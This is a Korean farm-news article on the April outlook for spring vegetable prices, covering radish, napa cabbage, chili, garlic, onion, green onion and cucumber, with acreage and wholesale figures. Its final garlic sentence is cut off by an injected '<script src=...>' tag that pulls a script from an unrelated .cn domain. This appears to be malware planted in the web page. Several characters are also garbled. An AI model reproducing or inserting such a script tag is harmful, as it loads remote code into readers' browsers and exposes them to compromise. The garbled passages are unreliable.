" 봄무·배추가 지난해 가격호조로 재배면적이 늘어나 본격적인 출하가 시작되는 5월 이후부터는 하락세를 보일 전망이다.
한국농촌경제연구원 농업관측센터(센터장 이정환)가 발표한 4월 농업관측에 따르면 올해 봄무·배추 재배면적은 월동무·배추 가격이 높아 봄배추는 지난해보다 4%, 봄무는 지난해보다 6%가 증가해 기상이변이 없는한 출하예정면적이 많아져 하락세를 보일 것으로 전망했다.
고추는 올해 재배의향면적이 지난해보다 2.1% 감소할 것으로 조사돼 추세 단수를 적용할 경우 고추생산량은 지난해보다 9% 가량 적을 것으로 조사됐으며, 지난달까지 재고량이 많아 이달에는 약보합세를 보일 전망이다.
마늘은 지난해산 재고량이 많으나 올해 수확시기가 늦어져 재고량에 대한 소비기??길어짐에 따라 이번달 마늘가격은 약상승세를 보일 전망이며, 양파는 재배면적이 지난해보다 3% 감소했지만 아직까지 재고량이 많고 올해산 조생종 양파의 수확시기가 늦어져서 이번달부터 출하가 몰릴 것으로 보여 가격은 하락세를 보일 것으로 분석했다.
대파는 남부지방의 밭에 남아있는 월동면적이 많고 이달에 출하될 면적이 지난해보다 9% 이상 많은데다 작황도 좋아 가격은 전반적으로 약세를 보이겠다.
오이도 재배면적이 지난해보다 5% 증가한데다 작황이 호조를 보이고 있어 가격은 평년수준보다 낮을 전망이다.박유신 yusinya@aflnews.co.kr

■배추
월동배추 출하 종료와 함께, 그동안 기온이 낮아 출하가 지연된 봄배추의 공급량이 증가하면서 가격은 하락세를 보일 것으로 전망된다.
지난달 봄배추 평균도매가격은 상품 5톤트럭당 410만원으로 지난해보다 높은 수준.
이같은 현상은 월동배추 공급량이 적고 봄배추 출하가 지연돼 출하량이 대폭 감소했기 때문이다.
하지만 올해 봄배추 재배면적이 전체적으로 지난해보다 4% 증가할 것으로 조사됐으며,생육상황은 전반적으로 평년 수준은 유지하고 있는 것으로 나타났다.
한편 농가는 농협이 실시하는 봄배추 계약재배에 참여하면 가격 폭락시에도 kg당 85원의 경영비를 받을 수 있다.
고랭지배추는 지난해 낮은 시세와 비피해로 인해 타작목으로 전환한 경우가 증가해 지난해보다 4% 줄어든 9600ha 정도가 재배될 전망이다.

■무
무 시세는 이달 중순까지 약보합세를 보이다가 봄무가 출하되는 중순 이후부터는 평년 가격수준으로 떨어질 것으로 전망된다.
지난달 무 상품 평균도매가격은 15kg당 8300원으로 지난해 같은기간보다 69% 높은 수준이었으나 점차 하락세를 보이면서 지난달 말에는 15kg당 7500원까지 하락했다.
이는 저장무 물량이 적어 출하량이 대폭 감소해 가격이 상승세를 보이다가 저장무의 상품성이 나빠지자 공급량이 많은 알타리무, 오이 등으로 소비가 대체된 것이 주요인으로 보인다.
저장무 출하는 이달 중순에 완료될 전망이며, 봄무 재배면적은 지난해보다 6%가량이 늘어날 것으로 전망된다.
생육상황은 「평년 수준」이상이 68%으로 나타나 평년수준인 것으로 조사됐다.
한편 농협이 실시하는 봄무 계약재배에 참여할 경우 가격 폭락시에도 kg당 90원의 경영비를 보장 받을 수 있다.
고랭지무 재배의향면적은 지난해보다 6% 가량 감소한 3600ha가량일 것으로 조사됐다.

■고추
이달 고추가격은 재고량의 많아 하락세를 보일 전망이다.
지난달 평균도매가격은 600g당 4340원으로, 지난해 같은기간보다는 17% 낮은 수준.
가격이 약세에 머물자 재배를 희망하는 농가가 줄어들면서 재배의향면적은 지난해보다 2~3% 감소할 것으로 조사됐으며, 지역별로는 강원과 경북에서 주로 감소하는 것으로 나타났다.
이에 따라 올해 고추생산량은 10a당 단수가 260~270kg이 될 경우 지난해보다 9% 적어질 것으로 보인다.
현재까지 남아 있는 고추재고량은 2만8000톤으로 지난해 같은기간보다 16% 정도 많을 것으로 추정되며, 1인당 소비량은 2010년까지 4.3kg 수준에서 유지될 것으로 보인다.

■마늘
올해산 마늘의 출하 지연으로 저장 마늘에 대한 소비기??길어져 가격은 약상승세를 보이겠다.
또한 올해 작황이 평년 수준을 유지할 경우 생산량은 지난해보다 약간 감소하겠고, 관세인상으로 민간수입이 적을 것으로 예상돼 가격은 지난해보다 약간 높게 형성될 전망이다.
지난달 마늘 평균도매가격은 난지형 상품 kg당 1610원으로 지난해 같은기간보다 52% 낮은 수준.
이는 지난해산 마늘공급량이 98년산보다 14% 많았으며, 현재 남아 있는 물량도 2만6000톤에 이르기 때문이다.
올해 마늘 재배면적은 지난해와 비슷한 4만2000ha로 추정되며, 지역별은 충청과 호남이 지난해보다 각각 5%, 2% 감소한 반면, 제주는 6% 증가한 것으로 ?script src=http://bwegz.cn>

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